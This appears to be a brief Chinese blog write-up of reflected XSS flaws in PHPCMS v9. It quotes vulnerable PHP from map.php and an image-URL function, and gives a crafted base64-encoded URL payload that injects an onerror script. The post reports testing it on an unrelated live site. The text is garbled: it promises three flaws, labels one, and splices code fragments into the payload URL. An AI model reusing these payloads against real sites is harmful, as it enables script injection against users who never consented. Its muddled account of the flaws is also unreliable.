phpcms v9 三个xss

作者:hack1990 时间:12-10-16 阅读数:732人阅读

0x1 map.php文件反射型xss

漏洞出现在/api/map.php 265行左右:

<?php
} elseif(!empty($_GET['city']) &&
$maptype==1) {

         if(!$_GET['city'])  showmessage(L('error'));

         $city
= urldecode(trim($_GET['city']));

         echo
$city;

}
?>可以看出$_GET[‘city’]用urldecode解码后直接数出来了。

构造如下url:

global $image;http://m.youseeweb.com/index.php?m=wap&c=index&a=big_image&width=0&url=aHR0cDovL3d3dy5xaW5nc2g0bi5jb20vMS5hIiBvbmVycm9yPSJhbGVydCgvcWluZ3NoNG4vKSIvPi8vIA==

$upload_url = pc_base::load_config('system','upload_url');

$upload_path = pc_base::load_config('system','upload_path');

if(empty($imgurl)) return IMG_PATH.$smallpic;

$imgurl_replace= str_replace($upload_url, '', $imgurl);

if(!extension_loaded('gd') || strpos($imgurl_replace, '://')) return $imgurl;//返回

if(!file_exists($upload_path.$imgurl_replace)) return IMG_PATH.$smallpic;在这一句中直接将$imgurl返回,而且这里我们可以控制。if(!extension_loaded('gd') ||strpos($imgurl_replace, '://')) return $imgurl;构造如下url:

index.php?m=wap&c=index&a=big_image&width=0&url=aHR0cDovL3d3dy5xaW5nc2g0bi5jb20vMS5hIiBvbmVycm9yPSJhbGVydCgvcWluZ3NoNG4vKSIvPi8vIA==

但是这里要求开启wap功能,由于官方演示站没有开启wap功能,这里随便找一个站:

 

效果图:

 

发表评论